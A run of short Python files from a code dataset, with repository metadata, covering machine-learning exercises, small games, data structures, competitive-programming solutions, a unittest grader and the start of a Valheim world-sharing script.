self.create_a_batch_callback.ys\n yield x, y\n\n # TODO: check if needed!\n @staticmethod\n def euclidian_distance(vectors):\n (positive, negative) = vectors\n return tf.reduce_mean(tf.square(positive - negative), axis=1)\n\n # Contrastive loss.\n # y_true - Set of correct labels. Here, y_true is a vector of similarities between the two, paired vectors.\n # Value is 0 for similar points and 1 for dissimilar points.\n # y_pred - Set of predicted values - embedded points.\n def contrastive_loss(self, y_true, y_pred):\n positive, negative = y_pred[:, :self.embedding_size], y_pred[:, self.embedding_size:]\n dist = tf.reduce_mean(tf.square(positive - negative), axis=1)\n return (1 - y_true) * dist + y_true * tf.maximum(0., self.alpha - dist)\n \n # Train the model.\n # create_batch_function_name - Name of the mining method.\n # It can be one of the following: \"create_pair_batch_random\".\n # batch_size - Batch size.\n # epochs - Number of epochs.\n # steps_per_epoch - Steps per epoch.\n def train(self, create_batch_function_name, batch_size, epochs, steps_per_epoch):\n # Save parameters.\n self.mining_method = create_batch_function_name\n self.batch_size = batch_size\n self.epochs = epochs\n self.steps_per_epoch = steps_per_epoch\n \n # Create a callback object.\n self.create_a_batch_callback = TrainingCallback(self.data_handler, create_batch_function_name, batch_size=batch_size)\n \n # Create validation pairs.\n # TODO: How many validation pairs to use? For now I use default value of 1000.\n [x_1s, x_2s], ys = self.create_validation_pairs()\n validation_data = ([x_1s, x_2s], ys)\n \n # Train the model.\n history = self.net.fit(\n self.data_generator(),\n steps_per_epoch=steps_per_epoch, epochs=epochs, verbose=True,\n validation_data=validation_data, callbacks=[self.create_a_batch_callback])\n \n return history\n \n # Create number_of_pairs validation pairs.\n # number_of_pairs - Number of pairs to generate.\n def create_validation_pairs(self, number_of_pairs=1000):\n # Initialize arrays.\n x_1s = np.zeros((number_of_pairs, self.data_handler.n_features))\n x_2s = np.zeros((number_of_pairs, self.data_handler.n_features))\n # Similarity array: 0 - data from the same class, 1 - different class.\n ys = np.zeros(number_of_pairs)\n\n for i in range(0, number_of_pairs):\n # Choose first element x_1 randomly.\n random_index = randint(0, self.data_handler.n_validate - 1)\n x_1 = self.data_handler.X_validate[random_index]\n y_1 = self.data_handler.y_validate[random_index]\n\n # Choose second element x_2 randomly.\n random_index = randint(0, self.data_handler.n_validate - 1)\n x_2 = self.data_handler.X_validate[random_index]\n y_2 = self.data_handler.y_validate[random_index]\n\n if y_1 == y_2:\n ys[i] = 0\n else:\n ys[i] = 1\n\n # Declare i-th pair.\n x_1s[i] = x_1\n x_2s[i] = x_2\n \n return [x_1s, x_2s], ys\n \n# SiameseModel class, derived from tensorflow Model class.\nclass SiameseModel(Model):\n # Constructor for the SiameseModel class.\n # embedding_model - Base model with which to construct siamese net.\n def __init__(self, embedding_model):\n super(SiameseModel, self).__init__()\n self.embedding_model = embedding_model\n\n # Construct Siamese net.\n def call(self, inputs, training=False):\n embedded_1 = self.embedding_model(inputs[0]) # input_1\n embedded_2 = self.embedding_model(inputs[1]) # input_2\n # distance = Lambda(self.euclidean_distance)([embedded_1, embedded_2])\n # output = Dense(1, activation=\"sigmoid\")(distance)\n output = concatenate([embedded_1, embedded_2], axis=1)\n\n return output\n\n# TainingCallback class. Used for generating new batches on batch_end.\nclass TrainingCallback(Callback):\n # Constructor for the TrainingCallback object.\n # data_handler - DataHandler object.\n # batch_function_name - Name of the batch function to use for selecting batch samples.\n # batch_size - Batch size.\n # same_class_frequency - Optional parameter. Frequency with which pairs of the same class are generated.\n # If none is specified. The frequency will be 1/number of classes.\n # This parameter should take values in the range of [0, 1].\n def __init__(self, data_handler, batch_function_name, batch_size, same_class_frequency=-1):\n self.data_handler = data_handler\n self.batch_function_name = batch_function_name\n self.batch_size = batch_size\n if same_class_frequency == -1:\n self.same_class_frequency = 1/self.data_handler.n_classes\n else:\n self.same_class_frequency = same_class_frequency\n \n self.xs, self.ys = self.create_pair_batch_random(self.same_class_frequency)\n\n # Callback function that is called at each batch end. Here, a new batch is formed.\n def on_train_batch_end(self, batch, logs=None):\n if self.batch_function_name == \"create_pair_batch_random\":\n self.xs, self.ys = self.create_pair_batch_random(self.same_class_frequency)\n else:\n print(\"Invalid function name. Exiting program...\")\n raise SystemExit(0)\n \n # Create a batch of batch_size number of pairs. Batches are created randomly.\n # same_class_frequency - Frequency with which pairs of the same class are generated.\n def create_pair_batch_random(self, same_class_frequency=-1): \n x_1s = np.zeros((self.batch_size, self.data_handler.n_features))\n x_2s = np.zeros((self.batch_size, self.data_handler.n_features))\n # Similarity array: 0 - data from the same class, 1 - different class.\n ys = np.zeros(self.batch_size)\n\n for i in range(0, self.batch_size):\n # Choose first element x_1 randomly.\n random_index = randint(0, self.data_handler.n_train - 1)\n x_1 = self.data_handler.X_train[random_index]\n y_1 = self.data_handler.y_train[random_index]\n\n # Find indices of similar and dissimilar elements.\n similar_indices = np.squeeze(np.where(self.data_handler.y_train == y_1))\n dissimilar_indices = np.squeeze(np.where(self.data_handler.y_train != y_1))\n\n # Most of the data is going to be dissimilar.\n # With choose_probability we want to give some advantage to the similar data as well.\n # TODO: This parameter has some powerful effects on the results. Document it!\n choose_probability = random()\n\n if choose_probability < same_class_frequency:\n # Choose a random similar example.\n ys[i] = 0\n # We assume that there is at least one similar example.\n if similar_indices.ndim != 0:\n random_index = randint(0, len(similar_indices) - 1)\n x_2 = self.data_handler.X_train[similar_indices[random_index]]\n else:\n x_2 = self.data_handler.X_train[similar_indices]\n else:\n # Choose a random dissimilar example.\n ys[i] = 1\n random_index = randint(0, len(dissimilar_indices) - 1)\n x_2 = self.data_handler.X_train[dissimilar_indices[random_index]]\n\n # Declare i-th pair.\n x_1s[i] = x_1\n x_2s[i] = x_2\n \n return [x_1s, x_2s], ys\n","repo_name":"adrijanailic/Master_rad","sub_path":"SiameseNet.py","file_name":"SiameseNet.py","file_ext":"py","file_size_in_byte":12547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70164359554","text":"from car_manager import CarManager\nfrom player import Player\nfrom scoreboard import Scoreboard\nfrom turtle import Screen, Turtle\nimport time\n\n# Setup screen config\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.tracer(0)\n\n# Define bodies\nplayer = Player()\ncar_manager = CarManager()\nscoreboard = Scoreboard()\nmessage_board = Turtle()\nmessage_board.hideturtle()\nmessage_board.penup()\n\nis_game_on = False\nuser_difficulty = screen.textinput(\"Set Difficulty\", \"Choose difficulty (easy/hard): \")\n\n# Write player controls instructions\nscreen.update()\nfor i in range(5, 0, -1):\n message_board.goto(0, 0)\n if user_difficulty == \"hard\":\n message_board.write(\"The turtle can only move up!\", align=\"center\", font=(\"Courier\", 12, \"normal\"))\n else:\n message_board.write(\"The turtle can move up, down, right and left!\", align=\"center\",\n font=(\"Courier\", 12, \"normal\"))\n\n message_board.goto(0, -50)\n message_board.write(i, align=\"center\", font=(\"Courier\", 12, \"normal\"))\n screen.update()\n time.sleep(1)\n message_board.clear()\n\n# Set key listener and Player controls\nscreen.listen()\nscreen.onkeypress(player.move_up, \"Up\")\nif user_difficulty == \"easy\":\n screen.onkeypress(player.move_left, \"Left\")\n screen.onkeypress(player.move_down, \"Down\")\n screen.onkeypress(player.move_right, \"Right\")\n\n\nis_game_on = True\nwhile is_game_on:\n time.sleep(0.1)\n screen.update()\n\n # Generate and move all the cars perpetually to the left\n car_manager.generate_car()\n car_manager.move_car()\n\n # Detect Player collision with any car\n for car in car_manager.cars:\n if car.distance(player) < 20:\n scoreboard.end_game()\n is_game_on = False\n\n # Detect successful crossing\n if player.is_at_finish_line():\n scoreboard.level_up()\n player.go_to_start()\n car_manager.accelerate()\n\nscreen.exitonclick()\n","repo_name":"RobertoLJr/100-days-of-python","sub_path":"day-023-turtle-crossing-game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30726870848","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n 0.8 Regression\n 参考:https://cloud.tencent.com/developer/article/1052837===\n\n\"\"\"\n\nfrom numpy import *\nimport matplotlib.pyplot as plt\n\ndef loadDataSet(fileName):\n numFeat = len(open(fileName).readline().split('\\t')) - 1\n dataMat = []; labelMat = []\n fr = open(fileName)\n for line in fr.readlines():\n lineArr = []\n curLine = line.strip().split('\\t')\n for i in range(numFeat):\n lineArr.append(float(curLine[i]))\n dataMat.append(lineArr)\n labelMat.append(float(curLine[-1]))\n return dataMat, labelMat\n\ndef standRegres(xArr, yArr):\n xMat = mat(xArr); yMat = mat(yArr).T\n xTx = xMat.T * xMat\n if linalg.det(xTx) == 0.0: # 计算一个数组的行列式,判断是否能计算逆矩阵\n print('This matrix is singular, cannot do inverse')\n return\n ws = xTx.I * (xMat.T * yMat)\n return ws\n\n# 局部加权线性回归===给待测点附近的每个点赋予一定的权重\n# 程序的计算量增加,预测每个点时使用整个数据集\ndef lwlr(testPoint,xArr,yArr,k=1.0):\n xMat = mat(xArr); yMat=mat(yArr).T\n m = shape(xMat)[0]\n weights = mat(eye((m))) # 创建对角矩阵\n for j in range(m):\n diffMat = testPoint - xMat[j,:]\n weights[j,j] = exp(diffMat*diffMat.T/(-2.0*k**2)) # 使用高斯核,赋予权重 # 权重大小以指数级衰减,使用k来调节\n xTx = xMat.T * (weights * xMat)\n if linalg.det(xTx) == 0.0:\n print('This matrix is singular, cannot do inverse')\n return\n ws = xTx.I * (xMat.T * (weights * yMat))\n return testPoint * ws\n\ndef lwlrTest(testArr, xArr, yArr, k=1.0):\n m = shape(testArr)[0]\n yHat = zeros(m)\n for i in range(m):\n yHat[i] = lwlr(testArr[i],xArr,yArr,k)\n return yHat\n\ndef rssError(yArr,yHatArr):\n return ((yArr-yHatArr)**2).sum()\n\ndef ridgeRegres(xMat,yMat,lam=0.2):\n xTx = xMat.T * xMat\n denom = xTx + eye(shape(xMat)[1]) * lam\n if linalg.det(denom) == 0.0:\n print('this matrix is singular, cannot do inverse')\n return\n ws = denom.I * (xMat.T * yMat)\n return ws\n\ndef ridgeTest(xArr,yArr):\n xMat = mat(xArr); yMat=mat(yArr).T\n yMean = mean(yMat,0)\n yMat = yMat - yMean\n xMeans = mean(xMat,0)\n xVar = var(xMat,0)\n xMat = (xMat - xMeans)/xVar # 数据的标准化处理\n\n numTestPts = 30\n wMat = zeros((numTestPts,shape(xMat)[1]))\n for i in range(numTestPts):\n ws = ridgeRegres(xMat,yMat,exp(i-10))\n wMat[i,:]=ws.T\n return wMat\n\ndef regularize(xMat): # 数据标准化\n inMat = xMat.copy()\n inMeans = mean(inMat,0) #calc mean then subtract it off\n inVar = var(inMat,0) #calc variance of Xi then divide by it\n inMat = (inMat - inMeans)/inVar\n return inMat\n\n# 前向逐步线性回归\ndef stageWise(xArr, yArr, eps=0.01,numIt=100):\n xMat = mat(xArr); yMat=mat(yArr).T\n yMean = mean(yMat,0)\n yMat = yMat - yMean\n xMat = regularize(xMat)\n m,n = shape(xMat)\n returnMat = zeros((numIt,n))\n ws = zeros((n,1)); wsTest = ws.copy(); wsMax = ws.copy()\n for i in range(numIt): # 迭代次数\n print(ws.T)\n lowestError = inf;\n for j in range(n): # 对每个特征\n for sign in [-1,1]: # 增大或缩小\n wsTest = ws.copy()\n wsTest[j] += eps*sign # 依据步长eps增加或减小,获得新的ws\n yTest = xMat * wsTest\n rssE = rssError(yMat.A,yTest.A) # 计算新ws下的误差\n if rssE < lowestError:\n lowestError = rssE\n wsMax = wsTest\n ws = wsMax.copy()\n returnMat[i,:]=ws.T\n return returnMat\n\nfrom bs4 import BeautifulSoup\n\ndef scrapePage(retX, retY, inFile, yr, numPce, origPrc):\n \"\"\"\n 从页面读取数据,生成retX和retY列表\n :param retX:数据x\n :param retY:数据y\n :param inFile:HTML文件\n :param yr:年份\n :param numPce:乐高部件数目\n :param origPrc:原价\n :return:\n \"\"\"\n # 打开并读取HTML文件\n with open(inFile, encoding='utf-8') as f:\n html = f.read()\n soup = BeautifulSoup(html)\n i = 1\n # 根据HTML页面结构进行解析\n currentRow = soup.find_all('table', r=\"%d\" % i)\n while (len(currentRow) != 0):\n currentRow = soup.find_all('table', r=\"%d\" % i)\n title = currentRow[0].find_all('a')[1].text\n lwrTitle = title.lower()\n # 查找是否有全新标签\n if (lwrTitle.find('new') > -1) or (lwrTitle.find('nisb') > -1):\n newFlag = 1.0\n else:\n newFlag = 0.0\n # 查找是否已经标志出售,我们只收集已出售的数据\n soldUnicde = currentRow[0].find_all('td')[3].find_all('span')\n if len(soldUnicde) == 0:\n print(\"商品 #%d 没有出售\" % i)\n else:\n # 解析页面获取当前价格\n soldPrice = currentRow[0].find_all('td')[4]\n priceStr = soldPrice.text\n priceStr = priceStr.replace('$', '')\n priceStr = priceStr.replace(',', '')\n if len(soldPrice) > 1:\n priceStr = priceStr.replace('Free shipping', '')\n sellingPrice = float(priceStr)\n # 去掉不完整的套装价格\n if sellingPrice > origPrc * 0.5:\n print(\"%d\\t%d\\t%d\\t%f\\t%f\" % (yr, numPce, newFlag, origPrc, sellingPrice))\n retX.append([yr, numPce, newFlag, origPrc])\n retY.append(sellingPrice)\n i += 1\n currentRow = soup.find_all('table', r=\"%d\" % i)\n\ndef setDataCollect(retX, retY):\n \"\"\"\n 函数说明:依次读取六种乐高套装的数据,并生成数据矩阵\n Parameters:\n 无\n Returns:\n 无\n \"\"\"\n scrapePage(retX, retY, './lego/lego8288.html', 2006, 800, 49.99) # 2006年的乐高8288,部件数目800,原价49.99\n scrapePage(retX, retY, './lego/lego10030.html', 2002, 3096, 269.99)\n scrapePage(retX, retY, './lego/lego10179.html', 2007, 5195, 499.99)\n scrapePage(retX, retY, './lego/lego10181.html', 2007, 3428, 199.99)\n scrapePage(retX, retY, './lego/lego10189.html', 2008, 5922, 299.99)\n scrapePage(retX, retY, './lego/lego10196.html', 2009, 3263, 249.99)\n\ndef crossValidation(xArr,yArr,numVal=10):\n m = len(yArr)\n indexList = list(range(m))\n errorMat = zeros((numVal,30))\n for i in range(numVal):\n trainX=[];trainY=[]\n testX=[];testY=[]\n random.shuffle(indexList) # 将列表中的元素打乱\n for j in range(m): # 划分数据,训练集和测试集\n if j < m*0.9:\n trainX.append(xArr[indexList[j]])\n trainY.append(yArr[indexList[j]])\n else:\n testX.append(xArr[indexList[j]])\n testY.append(yArr[indexList[j]])\n wMat = ridgeTest(trainX,trainY) # 岭回归\n for k in range(30):\n matTestX = mat(testX); matTrainX=mat(trainX)\n meanTrain = mean(matTrainX,0)\n varTrain = var(matTrainX,0)\n matTestX = (matTestX-meanTrain)/varTrain # 使用训练时的参数将测试数据标准化\n yEst = matTestX * mat(wMat[k,:]).T + mean(trainY)\n errorMat[i,k] = rssError(yEst.T.A,array(testY))\n meanErrors = mean(errorMat,0)\n minMean = float(min(meanErrors))\n bestWeights = wMat[nonzero(meanErrors==minMean)]\n xMat = mat(xArr); yMat = mat(yArr).T\n meanX = mean(xMat,0); varX = var(xMat,0)\n unReg = bestWeights/varX # 数据还原\n print('the best model from Ridge Regression is:\\n',unReg)\n print('with constant term: ',-1*sum(multiply(meanX,unReg)) + mean(yMat))\n\n\n\ndef run_main():\n\n # xArr, yArr = loadDataSet('ex0.txt')\n # print(xArr[:2])\n # ws = standRegres(xArr,yArr)\n # print(ws)\n #\n # xMat = mat(xArr)\n # yMat = mat(yArr)\n # yHat = xMat * ws\n #\n # print(corrcoef(yHat.T,yMat)) #预测与真实序列的相关系数\n #\n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.scatter(xMat[:,1].flatten().A[0], yMat.T[:,0].flatten().A[0])\n # xCopy = xMat.copy()\n # xCopy.sort(0)\n # yHat=xCopy*ws\n # ax.plot(xCopy[:,1],yHat)\n # plt.show()\n\n # xArr, yArr = loadDataSet('ex0.txt')\n # print(yArr[0])\n # yhat = lwlr(xArr[0],xArr,yArr,1.0)\n # print(yhat)\n # yhat = lwlr(xArr[0], xArr, yArr, 0.01)\n # print(yhat)\n #\n # yHat = lwlrTest(xArr,xArr,yArr,0.003)\n # xMat = mat(xArr)\n # srtInd = xMat[:,1].argsort(0)\n # xSort = xMat[srtInd][:,0,:]\n #\n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.plot(xSort[:,1],yHat[srtInd])\n # ax.scatter(xMat[:,1].flatten().A[0], mat(yArr).T.flatten().A[0],s=2,c='red')\n # plt.show()\n\n\n # abX,abY = loadDataSet('abalone.txt')\n # yHat01 = lwlrTest(abX[0:99],abX[0:99],abY[0:99],0.1)\n # yHat1 = lwlrTest(abX[0:99],abX[0:99],abY[0:99],1)\n # yHat10 = lwlrTest(abX[0:99], abX[0:99], abY[0:99], 10)\n #\n # print(rssError(abY[0:99],yHat01.T))\n # print(rssError(abY[0:99], yHat1.T))\n # print(rssError(abY[0:99], yHat10.T))\n #\n # yHat01 = lwlrTest(abX[100:199], abX[0:99], abY[0:99], 0.1)\n # yHat1 = lwlrTest(abX[100:199], abX[0:99], abY[0:99], 1)\n # yHat10 = lwlrTest(abX[100:199], abX[0:99], abY[0:99], 10)\n #\n # print(rssError(abY[100:199], yHat01.T))\n # print(rssError(abY[100:199], yHat1.T))\n # print(rssError(abY[100:199], yHat10.T))\n #\n # ws = standRegres(abX[0:99],abY[0:99])\n # yHat = mat(abX[100:199]) * ws\n # print(rssError(abY[100:199],yHat.T.A))\n\n # abX, abY = loadDataSet('abalone.txt')\n # ridgeWeights = ridgeTest(abX,abY)\n # fig = plt.figure()\n # ax = fig.add_subplot(111)\n # ax.plot(ridgeWeights)\n # plt.show()\n\n # xArr,yArr = loadDataSet('abalone.txt')\n # stageWise(xArr,yArr,0.001,5000)\n # print('--------------------------------')\n #\n # xMat = mat(xArr)\n # yMat = mat(yArr).T\n # xMat = regularize(xMat)\n # yM = mean(yMat,0)\n # yMat = yMat - yM\n # weights = standRegres(xMat,yMat.T)\n # print(weights.T)\n\n lgX = []; lgY = []\n setDataCollect(lgX,lgY)\n # print(shape(lgX))\n lgX1 = mat(ones((63,5)))\n lgX1[:,1:5] = mat(lgX)\n # print(lgX[0])\n # print(lgX1[0])\n ws = standRegres(lgX1,lgY)\n print(ws)\n # print(lgX1*ws)\n\n crossValidation(lgX,lgY,10)\n print()\n\nif __name__ == '__main__':\n run_main()","repo_name":"rulinqi/ml_action_book_py3","sub_path":"regression_08/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":10413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32468500713","text":"import unittest\nimport xmlrunner\nimport subprocess\n\n\nclass HelloWorldTest(unittest.TestCase):\n testScore = 0\n\n MAX_TESTED_SCORE = 20\n MAX_OVERALL_SCORE = 25\n\n def tearDown(self) -> None:\n if self.testScore == self.MAX_TESTED_SCORE:\n print(\"\\nYour unit test score is \",\n self.testScore,\n \" out of \",\n self.MAX_TESTED_SCORE,\n \"\\n\")\n else:\n print(\"\\nYour unit test score is \",\n self.testScore,\n \" out of \",\n self.MAX_TESTED_SCORE,\n \" (\",\n (self.testScore - self.MAX_TESTED_SCORE),\n \")\\n\")\n\n print(\"The assignment is worth a total of \",\n self.MAX_OVERALL_SCORE,\n \" where the remaining points\")\n print(\"comes from grading related to documentation, algorithms, and other\")\n print(\"criteria.\\n\\n\")\n\n def test(self):\n # call hello world script command ##\n p = subprocess.Popen(\"python3 src/hello_world.py\", stdout=subprocess.PIPE, shell=True)\n\n (output, err) = p.communicate()\n p_status = p.wait()\n\n self.assertEqual(b'Hello, World!\\n', output)\n self.testScore += 10\n self.assertEqual(0, p_status)\n self.testScore += 10\n\n\nif __name__ == '__main__':\n unittest.main(testRunner=xmlrunner.XMLTestRunner(output='test-reports'))\n","repo_name":"vc-csv11/EX01-HelloWorld","sub_path":"tests/grader.py","file_name":"grader.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23860645978","text":"n = int(input())\narr = list(map(int, input().split()))\ncount = 0\nfor i in range(2 * n):\n if arr[i] == 0:\n continue\n for j in range(i + 1, 2 * n):\n if arr[i] == arr[j]:\n arr[j] = 0\n break\n count += (arr[j] > 0)\nprint(count)","repo_name":"35C4n0r/Codeforces-Py-","sub_path":"PycharmProjects/Codeforces/Suit and Tie.py","file_name":"Suit and Tie.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12453499157","text":"from typing import Type, get_type_hints\n\nfrom pydantic import BaseModel, Extra\n\n\ndef required(required: list[str]):\n def decorator(cls: Type[BaseModel]):\n nonlocal required\n type_hints = get_type_hints(cls)\n fields = cls.__fields__\n optional = fields.keys() - required\n optional = [fields[field_name] for field_name in optional]\n required = [fields[field_name] for field_name in required]\n for field in optional:\n field.required = False\n cls.__annotations__[field.name] = type_hints[field.name] | None\n for field in required:\n field.required = True\n return cls\n\n return decorator\n\n\ndef to_camelcase(string: str) -> str:\n words = string.split(\"_\")\n for idx, word in enumerate(words[1:], 1):\n words[idx] = word.capitalize()\n return \"\".join(words)\n\n\nclass CamelCaseModel(BaseModel):\n class Config:\n extra = Extra.forbid\n alias_generator = to_camelcase\n allow_population_by_field_name = True\n\n def json(self, **kwargs):\n if \"by_alias\" not in kwargs:\n kwargs[\"by_alias\"] = True\n return super().dict(**kwargs)\n\n # def dict(self, **kwargs):\n # if \"by_alias\" not in kwargs:\n # kwargs[\"by_alias\"] = True\n # return super().dict(**kwargs)\n","repo_name":"alvaronaschez/bookstore-fastapi","sub_path":"bookstore/models/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26024952660","text":"from sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.ensemble import RandomForestClassifier\nimport pandas as pd\nimport numpy as np\n\n\ndf = pd.read_csv('./fake_jobs_dataset_v2.csv')\n\nfake = df.loc[df['fraudulent'] == 1]\nprint(df.head())\nprint(fake)\n\n\ndf['company_profile'].head()\n\n\nvectorizer = CountVectorizer(analyzer = \"word\", tokenizer = None, preprocessor = None, stop_words = None)\n\n\nfrom sklearn.model_selection import train_test_split\n\n\nX = vectorizer.fit_transform(df['company_profile'].values.astype('U'))\nY = df[['fraudulent']].values\nprint(X)\n\n\nnp.asarray(X)\n\n\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, train_size=0.8)\n\n\nprint(X_train.shape, X_test.shape, Y_train.shape, Y_test.shape)\n\n\nforest = RandomForestClassifier(n_estimators = 100)\n\n\nforest = forest.fit(X_train, Y_train.ravel())\n\n\nY_pred = forest.predict(X_test)\n\n\nY_test = Y_test.flatten()\nY_pred = Y_pred.flatten()\nprint(Y_pred)\n\n\ndf_rfc = pd.DataFrame({'Y_test': Y_test, 'Y_pred': Y_pred})\npd.set_option('display.max_rows', 60)\n#pd.set_option(\"min_rows\", 4470)\nprint(df_rfc)\n\n\nfrom sklearn.metrics import accuracy_score\n\n\nprint(accuracy_score(Y_pred, Y_test))\n\n\ntester = ['We are a food company that serve food from a truck']\ntesting = vectorizer.transform(tester)\nnp.asarray(testing)\n\n\nresult = forest.predict(testing)\nif result:\n print('Fake')\nelse:\n print('Real')\nprint(result)\n","repo_name":"Pagolicious/Applicerad_AI","sub_path":"RandomForest/rf_bagofwords.py","file_name":"rf_bagofwords.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20162842728","text":"# стр. 521\n#Cоздавание и запуск функции в отдельном процессе\n\nimport multiprocessing\nimport time\n\ndef clock(interval):\n while True:\n print('The time is %s' % time.ctime())\n time.sleep(interval)\n\nif __name__ == '__main__':\n p = multiprocessing.Process(target=clock, args=(15,))\n p.start()\n\n\nimport multiprocessing\nimport time\n\nclass ClockProcess(multiprocessing.Process):\n def __init__(self,interval):\n multiprocessing.Process.__init__(self)\n self.interval = interval\n def run(self):\n while True:\n print('The time is %s' % time.ctime())\n time.sleep(self.interval)\n\nif __name__ == '__main__':\n p = ClockProcess(15)\n p.start()\n","repo_name":"Pollyvitamin/Python_Essential_Reference-David-Beazley-","sub_path":"'Create and run a function in a separate process'.py","file_name":"'Create and run a function in a separate process'.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3086741687","text":"\"\"\"FIFO\nImplementation\n - add to the end and remove from the beginning: - both O(1) in LinkedList\n : - first O(1) and another O(n) in list\nadd to the end - last - Enqueue\nremove from the beginning - first - Dequeue\n\"\"\"\n\n\n\"\"\"47.Queue: Constructor\"\"\"\nclass Node: # same as LinkedList\n def __init__(self, value):\n self.value = value\n self.next = None\n\nclass Queue:\n def __init__(self, value):\n new_node = Node(value)\n self.first = new_node\n self.last = new_node\n self.length = 1\n\n def print_queue(self):\n temp = self.first\n while temp is not None:\n print(temp.value)\n temp = temp.next\n \n \"\"\"48.Queue: Enqueue\"\"\"\n def enqueue(self, value):\n new_node = Node(value)\n if self.first is None:\n self.first = new_node\n self.last = new_node\n else: \n self.last.next = new_node\n self.last = new_node\n self.length += 1\n return True\n\n \"\"\"49.Queue: Dequeue\"\"\"\n def dequeue(self, value):\n if self.length == 0:\n return None\n temp = self.first\n if self.length == 1:\n self.first = None\n self.last = None\n else:\n self.first = self.first.next\n temp.next = None\n self.length -=1\n return temp\n\n\nmy_queue = Queue(8)\nmy_queue.print_queue() # 8\nmy_queue.enqueue(11) # 8 11\nmy_queue.enqueue(12) # 8 11 12\nmy_queue.dequeue() # 11 12\n","repo_name":"shakhnoza-i/algorithm_data_structure","sub_path":"04_stack_queue/46_queue.py","file_name":"46_queue.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28238306116","text":"# search in a sorted array\n\n# iterative solution \n\ndef binarysearch_iterative(arr,x):\n low=0\n high=len(arr)-1\n while low<=high:\n mid=(low+high)//2\n if arr[mid]==x:\n return mid\n elif arr[mid]x:\n high=mid-1\n return -1\n\narr=[12, 19, 78, 105, 123, 135, 206, 569]\nx=106\nprint(binarysearch_iterative(arr,x))\n\n# recursive solution\n\ndef binarysearch_recursive(arr,x,low,high):\n if low<=high:\n mid=(low+high)//2\n if arr[mid]==x:\n return mid\n elif arr[mid]x:\n return binarysearch_recursive(arr,x,low,mid-1)\n else:\n return -1\n\narr=[12, 19, 78, 105, 123, 135, 206, 569]\nx=106\nprint(binarysearch_recursive(arr,x,0,len(arr)-1))\n\n\n\n","repo_name":"withinfinitedegreesoffreedom/datastructures-algorithms","sub_path":"misc/binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19324227284","text":"import sys, os\n\n\ndef ping():\n print('pong')\n\n\nping()\n\ndef hello(name):\n print('Hello', name)\n\n\nhello('Leo')\n\n\n\ndef get_info():\n print(os.listdir())\n\n\nget_info()\n\ncommand = sys.argv[1]\n\nif command == 'ping':\n ping()\nelif command == 'list':\n get_info()\nelif command == 'name':\n # вводим второй аргумент в скрипт \"имя\"\n name = sys.argv[2]\n hello(name)","repo_name":"Buanzu/Python","sub_path":"OS_work/example_script_1.py","file_name":"example_script_1.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23549797641","text":"# Written by Nikolai Artemiev\n\nimport collections\nimport functools\nimport itertools\nimport math\nimport matplotlib.pyplot\nimport multiprocessing\nimport numpy\nimport os\nimport resource\nimport scipy\nimport sys\n\n\ndef solve(P, N):\n PL = len(P)\n f = 0\n for i in range(PL - N + 1):\n if (P[i] == 0):\n f += 1\n for j in range(N):\n P[i + j] ^= 1\n return \"IMPOSSIBLE\" if (0 in P) else f\n\n\ndef read(F):\n PS, NS = F.readline().split()\n N = int(NS)\n P = [\"-+\".index(c) for c in PS]\n return [P, N]\n\n\nif __name__ == \"__main__\":\n # Resize stack to useful size\n recursion_limit = 100000\n resource.setrlimit(resource.RLIMIT_STACK, [resource.RLIM_INFINITY, resource.RLIM_INFINITY])\n sys.setrecursionlimit(recursion_limit)\n\n input_file = \"A-large.in\"\n\n # Read cases\n with open(input_file) as F:\n T = int(F.readline())\n cases = [read(F) for case in range(T)]\n\n # Solve\n def expand_solve(args):\n return solve(*args)\n solutions = multiprocessing.Pool().map(expand_solve, cases)\n\n # Print\n for case, solution in enumerate(solutions):\n print(\"Case #{}: {}\".format(case + 1, solution))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/967.py","file_name":"967.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4510456398","text":"\"\"\"\nThis is a script that lets you and your friends share a world without paying for a dedicated server.\nThe script makes sure that only one is hosting at a time.\n\nSetup steps:\n\n1. Put this file (asa_words.py) in a new folder\n2. Copy your current world (from ~/AppData/LocalLow/IronGate/Valheim/worlds) into a folder with the same name as the world\n e.g. If your world's name is \"MyWorld\", the structure should look like this:\n\n MyNewlyCreatedFolder/\n ├── MyWorld/\n │ ├── MyWorld.db\n │ ├── MyWorld.db.old\n │ ├── MyWorld.fwl\n │ └── MyWorld.fwl.old\n └── asa_worlds.py\n\n3. Create a git-repo in \"MyNewlyCreatedFolder\" ( git init )\n4. Create an empty GitHub-repo (no README, no nothing)\n5. Add the 